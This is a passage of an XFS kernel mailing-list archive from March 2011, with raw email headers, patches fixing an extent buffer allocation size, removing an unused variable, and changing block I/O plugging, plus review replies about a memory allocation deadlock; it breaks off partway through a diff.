X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59363 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > Is this repeatable or is it just a one-off result? It was repeated three times before I sent the email, but I can't reproduce = it again now. Call it a fluke. Sean From dave@fromorbit.com Tue Mar 29 21:48:34 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-4.9 required=5.0 tests=BAYES_00,LOCAL_GNU_PATCH autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2U2mXR3003824 for ; Tue, 29 Mar 2011 21:48:34 -0500 X-ASG-Debug-ID: 1301453502-29e802410000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0CE84112F086 for ; Tue, 29 Mar 2011 19:51:42 -0700 (PDT) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id iqVSAw4fzI75T3aC for ; Tue, 29 Mar 2011 19:51:42 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjoFAESZkk15LK5JTmdsb2JhbAClUAsBASADIyW/b4VqBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 30 Mar 2011 13:21:40 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1Q4lVP-0005KK-Iq for xfs@oss.sgi.com; Wed, 30 Mar 2011 13:51:35 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1Q4lVq-0001T5-8o for xfs@oss.sgi.com; Wed, 30 Mar 2011 13:52:02 +1100 From: Dave Chinner To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH] xfs: fix extent format buffer allocation size Subject: [PATCH] xfs: fix extent format buffer allocation size Date: Wed, 30 Mar 2011 13:52:01 +1100 Message-Id: <1301453521-5614-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1301453504 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59366 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner When formatting an inode item, we have to allocate a separate buffer to hold extents when there are delayed allocation extents on the inode and it is in extent format. The allocation size is derived from the in-core data fork representation, which accounts for delayed allocation extents, while the on-disk representation does not contain any delalloc extents. As a result of this mismatch, the allocated buffer can be far larger than needed to hold the real extent list which, due to the fact the inode is in extent format, is limited to the size of the literal area of the inode. However, we can have thousands of delalloc extents, resulting in an allocation size orders of magnitude larger than is needed to hold all the real extents. Fix this by limiting the size of the buffer being allocated to the size of the literal area of the inodes in the filesystem (i.e. the maximum size an inode fork can grow to). Signed-off-by: Dave Chinner --- fs/xfs/xfs_inode_item.c | 69 ++++++++++++++++++++++++++++------------------ 1 files changed, 42 insertions(+), 27 deletions(-) diff --git a/fs/xfs/xfs_inode_item.c b/fs/xfs/xfs_inode_item.c index 46cc401..12cdc39 100644 --- a/fs/xfs/xfs_inode_item.c +++ b/fs/xfs/xfs_inode_item.c @@ -198,6 +198,43 @@ xfs_inode_item_size( } /* + * xfs_inode_item_format_extents - convert in-core extents to on-disk form + * + * For either the data or attr fork in extent format, we need to endian convert + * the in-core extent as we place them into the on-disk inode. In this case, we + * ned to do this conversion before we write the extents into the log. Because + * we don't have the disk inode to write into here, we allocate a buffer and + * format the extents into it via xfs_iextents_copy(). We free the buffer in + * the unlock routine after the copy for the log has been made. + * + * For the data fork, there can be delayed allocation extents + * in the inode as well, so the in-core data fork can be much larger than the + * on-disk data representation of real inodes. Hence we need to limit the size + * of the allocation to what will fit in the inode fork, otherwise we could be + * asking for excessively large allocation sizes. + */ +STATIC void +xfs_inode_item_format_extents( + struct xfs_inode *ip, + struct xfs_log_iovec *vecp, + int whichfork, + int type) +{ + xfs_bmbt_rec_t *ext_buffer; + + ext_buffer = kmem_alloc(XFS_IFORK_SIZE(ip, whichfork), + KM_SLEEP | KM_NOFS); + if (whichfork == XFS_DATA_FORK) + ip->i_itemp->ili_extents_buf = ext_buffer; + else + ip->i_itemp->ili_aextents_buf = ext_buffer; + + vecp->i_addr = ext_buffer; + vecp->i_len = xfs_iextents_copy(ip, ext_buffer, whichfork); + vecp->i_type = type; +} + +/* * This is called to fill in the vector of log iovecs for the * given inode log item. It fills the first item with an inode * log format structure, the second with the on-disk inode structure, @@ -213,7 +250,6 @@ xfs_inode_item_format( struct xfs_inode *ip = iip->ili_inode; uint nvecs; size_t data_bytes; - xfs_bmbt_rec_t *ext_buffer; xfs_mount_t *mp; vecp->i_addr = &iip->ili_format; @@ -320,22 +356,8 @@ xfs_inode_item_format( } else #endif { - /* - * There are delayed allocation extents - * in the inode, or we need to convert - * the extents to on disk format. - * Use xfs_iextents_copy() - * to copy only the real extents into - * a separate buffer. We'll free the - * buffer in the unlock routine. - */ - ext_buffer = kmem_alloc(ip->i_df.if_bytes, - KM_SLEEP); - iip->ili_extents_buf = ext_buffer; - vecp->i_addr = ext_buffer; - vecp->i_len = xfs_iextents_copy(ip, ext_buffer, - XFS_DATA_FORK); - vecp->i_type = XLOG_REG_TYPE_IEXT; + xfs_inode_item_format_extents(ip, vecp, + XFS_DATA_FORK, XLOG_REG_TYPE_IEXT); } ASSERT(vecp->i_len <= ip->i_df.if_bytes); iip->ili_format.ilf_dsize = vecp->i_len; @@ -445,19 +467,12 @@ xfs_inode_item_format( */ vecp->i_addr = ip->i_afp->if_u1.if_extents; vecp->i_len = ip->i_afp->if_bytes; + vecp->i_type = XLOG_REG_TYPE_IATTR_EXT; #else ASSERT(iip->ili_aextents_buf == NULL); - /* - * Need to endian flip before logging - */ - ext_buffer = kmem_alloc(ip->i_afp->if_bytes, - KM_SLEEP); - iip->ili_aextents_buf = ext_buffer; - vecp->i_addr = ext_buffer; - vecp->i_len = xfs_iextents_copy(ip, ext_buffer, - XFS_ATTR_FORK); + xfs_inode_item_format_extents(ip, vecp, + XFS_ATTR_FORK, XLOG_REG_TYPE_IATTR_EXT); #endif - vecp->i_type = XLOG_REG_TYPE_IATTR_EXT; iip->ili_format.ilf_asize = vecp->i_len; vecp++; nvecs++; -- 1.7.2.3 From panweiping3@gmail.com Tue Mar 29 22:23:59 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,FREEMAIL_FROM, T_DKIM_INVALID,T_TO_NO_BRKTS_FREEMAIL autolearn=unavailable version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2U3Nxvo005812 for ; Tue, 29 Mar 2011 22:23:59 -0500 X-ASG-Debug-ID: 1301455628-5d7201ee0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-wy0-f181.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3C9531DFB28D; Tue, 29 Mar 2011 20:27:09 -0700 (PDT) Received: from mail-wy0-f181.google.com (mail-wy0-f181.google.com [74.125.82.181]) by cuda.sgi.com with ESMTP id 40TBmifiO991lXSF; Tue, 29 Mar 2011 20:27:09 -0700 (PDT) Received: by wyi11 with SMTP id 11so755015wyi.26 for ; Tue, 29 Mar 2011 20:27:08 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:from:to:cc:subject:date:message-id:x-mailer :mime-version:content-type:content-transfer-encoding; bh=kwouwdN9g7Jci9d4OL4L0g80CFzAdkEY6Xy0FryXlPw=; b=eAZ5MsZ1sXlXoqfHPWPqLAQlUTjtygIQPdFSHuQL6xYai5WCTXKwvZdh+h669tZBIP 3Z5Mnc5G+efkr0rnmCgg9HEYh3WHWcJaPEis6W+bjyZyo7hyOELVCi3UXt3iBLSACbDJ 9oifJOjBH9obsWkuct2yPq0qjs9GtlNZ7vR6Y= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=from:to:cc:subject:date:message-id:x-mailer:mime-version :content-type:content-transfer-encoding; b=sMXx3CbH4wTaPza/SOcZwLHp482hBjd2Oq9Q5UXr8sHK1bQPSVMWlzTrnCr02ETTar tEgT/R7qeveICp+RibL6dG45MgRqR22SgDdgEYdCLh3UaxzBWPaWzJQlPnanisxkfe5m +Wdqcoe2ZtCYxhKqJSdnUItjdpqPJlXgOVmec= Received: by 10.216.245.131 with SMTP id o3mr557091wer.97.1301455628542; Tue, 29 Mar 2011 20:27:08 -0700 (PDT) Received: from localhost.localdomain.com ([60.247.97.98]) by mx.google.com with ESMTPS id bs4sm2767805wbb.18.2011.03.29.20.27.03 (version=SSLv3 cipher=OTHER); Tue, 29 Mar 2011 20:27:07 -0700 (PDT) From: Pan Weiping To: aelder@sgi.com, xfs-masters@oss.sgi.com, dchinner@redhat.com, hch@lst.de, tj@kernel.org, jaxboe@fusionio.com Cc: xfs@oss.sgi.com, linux-kernel@vger.kernel.org, Pan Weiping X-ASG-Orig-Subj: [PATCH] delete a warning in function xfs_buf_readahead Subject: [PATCH] delete a warning in function xfs_buf_readahead Date: Wed, 30 Mar 2011 11:28:06 +0800 Message-Id: <1301455686-21517-1-git-send-email-panweiping3@gmail.com> X-Mailer: git-send-email 1.7.4 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-wy0-f181.google.com[74.125.82.181] X-Barracuda-Start-Time: 1301455630 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59369 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Content-Transfer-Encoding: quoted-printable X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean /home/pwp/mysvn/linux/linux-2.6/fs/xfs/linux-2.6/xfs_buf.c: In function =E2=80=98xfs_buf_readahead=E2=80=99: /home/pwp/mysvn/linux/linux-2.6/fs/xfs/linux-2.6/xfs_buf.c:660:27: warnin= g: unused variable =E2=80=98bdi=E2=80=99 Signed-off-by: Pan Weiping --- fs/xfs/linux-2.6/xfs_buf.c | 2 -- 1 files changed, 0 insertions(+), 2 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c index 596bb2c..d917146 100644 --- a/fs/xfs/linux-2.6/xfs_buf.c +++ b/fs/xfs/linux-2.6/xfs_buf.c @@ -657,8 +657,6 @@ xfs_buf_readahead( xfs_off_t ioff, size_t isize) { - struct backing_dev_info *bdi; - if (bdi_read_congested(target->bt_bdi)) return; =20 --=20 1.7.4 From aelder@sgi.com Tue Mar 29 22:44:24 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=unavailable version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2U3iOB2006869; Tue, 29 Mar 2011 22:44:24 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id AF78CAC01B; Tue, 29 Mar 2011 20:47:28 -0700 (PDT) Received: from [127.0.0.1] ([198.149.20.12]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 29 Mar 2011 22:44:55 -0500 Subject: Re: [PATCH] delete a warning in function xfs_buf_readahead From: Alex Elder Reply-To: aelder@sgi.com To: Pan Weiping Cc: xfs-masters@oss.sgi.com, dchinner@redhat.com, hch@lst.de, tj@kernel.org, jaxboe@fusionio.com, xfs@oss.sgi.com, linux-kernel@vger.kernel.org In-Reply-To: <1301455686-21517-1-git-send-email-panweiping3@gmail.com> References: <1301455686-21517-1-git-send-email-panweiping3@gmail.com> Content-Type: text/plain; charset="UTF-8" Date: Tue, 29 Mar 2011 22:44:54 -0500 Message-ID: <1301456694.3026.274.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: quoted-printable X-OriginalArrivalTime: 30 Mar 2011 03:44:55.0369 (UTC) FILETIME=[D56CA390:01CBEE8C] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, 2011-03-30 at 11:28 +0800, Pan Weiping wrote: > /home/pwp/mysvn/linux/linux-2.6/fs/xfs/linux-2.6/xfs_buf.c: In function > =E2=80=98xfs_buf_readahead=E2=80=99: > /home/pwp/mysvn/linux/linux-2.6/fs/xfs/linux-2.6/xfs_buf.c:660:27: warnin= g: > unused variable =E2=80=98bdi=E2=80=99 > Signed-off-by: Pan Weiping > --- > fs/xfs/linux-2.6/xfs_buf.c | 2 -- > 1 files changed, 0 insertions(+), 2 deletions(-) Thanks for sending this. I already have a fix in place. I have not yet sent it to Linus yet but will soon. -Alex From BATV+defdcc838d0796150c4a+2775+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 30 04:20:14 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2U9KBOT028459 for ; Wed, 30 Mar 2011 04:20:13 -0500 X-ASG-Debug-ID: 1301477002-4cd9035e0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0B44C1167231 for ; Wed, 30 Mar 2011 02:23:22 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id KizbwBYlHVl5pdoX for ; Wed, 30 Mar 2011 02:23:22 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4rcT-0005iU-13; Wed, 30 Mar 2011 09:23:17 +0000 Date: Wed, 30 Mar 2011 05:23:17 -0400 From: "'Christoph Hellwig'" To: Dave Chinner Cc: "'Christoph Hellwig'" , Sean Noonan , Trammell Hudson , Christos Zoulas , Martin Bligh , "'linux-kernel@vger.kernel.org'" , Stephen Degler , "'linux-mm@kvack.org'" , "'linux-xfs@oss.sgi.com'" , "'Michel Lespinasse'" X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110330092316.GA21819@infradead.org> References: <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B535C@MSXAOA6.twosigma.com> <20110329200256.GA6019@infradead.org> <20110329224230.GH3008@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110329224230.GH3008@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301477003 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 30, 2011 at 09:42:30AM +1100, Dave Chinner wrote: > > +#define MAX_VMALLOCS 6 > > +#define MAX_SLAB_SIZE 0x20000 > > Why those values for the magic numbers? Ask the person who added it originall, it's just a revert to the code before my commit to clean up our vmalloc usage. From BATV+defdcc838d0796150c4a+2775+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 30 04:27:32 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2U9RWaF028863 for ; Wed, 30 Mar 2011 04:27:32 -0500 X-ASG-Debug-ID: 1301477443-227c03510000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id C971D144C34E for ; Wed, 30 Mar 2011 02:30:43 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 4SHWG3GKlNkVSPd2 for ; Wed, 30 Mar 2011 02:30:43 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4rjd-0008SR-Ov; Wed, 30 Mar 2011 09:30:41 +0000 Date: Wed, 30 Mar 2011 05:30:41 -0400 From: "'Christoph Hellwig'" To: Dave Chinner Cc: Sean Noonan , "'Christoph Hellwig'" , "'Michel Lespinasse'" , "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , "'linux-mm@kvack.org'" X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110330093041.GB21819@infradead.org> References: <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B535D@MSXAOA6.twosigma.com> <20110330000942.GI3008@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110330000942.GI3008@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301477443 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 30, 2011 at 11:09:42AM +1100, Dave Chinner wrote: > + ext_buffer = kmem_alloc(XFS_IFORK_SIZE(ip, whichfork), > + KM_SLEEP | KM_NOFS); The old code didn't use KM_NOFS, and I don't think it needed it either, as we call the iop_format handlers inside the region covered by the PF_FSTRANS flag. Also I think the routine needs to be under #ifndef XFS_NATIVE_HOST, as we do not use it for big endian builds. From BATV+defdcc838d0796150c4a+2775+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 30 04:30:23 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2U9UNH5029091 for ; Wed, 30 Mar 2011 04:30:23 -0500 X-ASG-Debug-ID: 1301477614-1f9c02820000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id B1C5738C382 for ; Wed, 30 Mar 2011 02:33:34 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id ukaeCPvqdr3Umhv1 for ; Wed, 30 Mar 2011 02:33:34 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4rmQ-0000HI-0S; Wed, 30 Mar 2011 09:33:34 +0000 Date: Wed, 30 Mar 2011 05:33:34 -0400 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfs: fix extent format buffer allocation size Subject: Re: [PATCH] xfs: fix extent format buffer allocation size Message-ID: <20110330093333.GA32582@infradead.org> References: <1301453521-5614-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1301453521-5614-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301477614 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > + xfs_bmbt_rec_t *ext_buffer; > + > + ext_buffer = kmem_alloc(XFS_IFORK_SIZE(ip, whichfork), If the fork size be the minimum of XFS_IFORK_SIZE and the if_bytes value? From BATV+defdcc838d0796150c4a+2775+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 30 05:11:31 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2UABVVd031185 for ; Wed, 30 Mar 2011 05:11:31 -0500 X-ASG-Debug-ID: 1301480082-61a300640000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0B23A38C5BD; Wed, 30 Mar 2011 03:14:42 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id gUrr40AsbqXyflwT; Wed, 30 Mar 2011 03:14:42 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4sQE-00017E-CN; Wed, 30 Mar 2011 10:14:42 +0000 Date: Wed, 30 Mar 2011 06:14:42 -0400 From: Christoph Hellwig To: Alex Elder Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 0/5] improved busy extent handling Subject: Re: [PATCH 0/5] improved busy extent handling Message-ID: <20110330101442.GA4144@infradead.org> References: <20110328210614.832613417@bombadil.infradead.org> <1301425475.3026.251.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1301425475.3026.251.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301480083 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 29, 2011 at 02:04:35PM -0500, Alex Elder wrote: > I've reviewed the series and it looks good to me. > Unless someone else has comments that deserve some > action I can take these in as-is. I'll wait for > a bit though, to let the 2.6.39 merge window settle. Yes, no need to rush - I just wanted to get it out for more review ASAP. From BATV+defdcc838d0796150c4a+2775+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 30 06:02:25 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-4.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_66, LOCAL_GNU_PATCH autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2UB2Oav033745 for ; Wed, 30 Mar 2011 06:02:25 -0500 X-ASG-Debug-ID: 1301483110-293f015c0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1978D15A8495 for ; Wed, 30 Mar 2011 04:05:10 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id sYoLbNu5gWoszV73 for ; Wed, 30 Mar 2011 04:05:10 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4tD3-0003Cs-HR; Wed, 30 Mar 2011 11:05:09 +0000 Date: Wed, 30 Mar 2011 07:05:09 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com Cc: jaxboe@fusionio.com X-ASG-Orig-Subj: [PATCH] xfs: use proper interfaces for on-stack plugging Subject: [PATCH] xfs: use proper interfaces for on-stack plugging Message-ID: <20110330110509.GA9507@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301483111 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Add proper blk_start_plug/blk_finish_plug pairs for the two places where we issue buffer I/O, and remove the blk_flush_plug in xfs_buf_lock and xfs_buf_iowait, given that context switches already flush the per-process plugging lists. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/linux-2.6/xfs_buf.c =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_buf.c 2011-03-29 21:55:12.863724557 +0200 +++ xfs/fs/xfs/linux-2.6/xfs_buf.c 2011-03-29 21:58:39.028224204 +0200 @@ -919,8 +919,6 @@ xfs_buf_lock( if (atomic_read(&bp->b_pin_count) && (bp->b_flags & XBF_STALE)) xfs_log_force(bp->b_target->bt_mount, 0); - if (atomic_read(&bp->b_io_remaining)) - blk_flush_plug(current); down(&bp->b_sema); XB_SET_OWNER(bp); @@ -1309,8 +1307,6 @@ xfs_buf_iowait( { trace_xfs_buf_iowait(bp, _RET_IP_); - if (atomic_read(&bp->b_io_remaining)) - blk_flush_plug(current); wait_for_completion(&bp->b_iowait); trace_xfs_buf_iowait_done(bp, _RET_IP_); @@ -1747,8 +1743,8 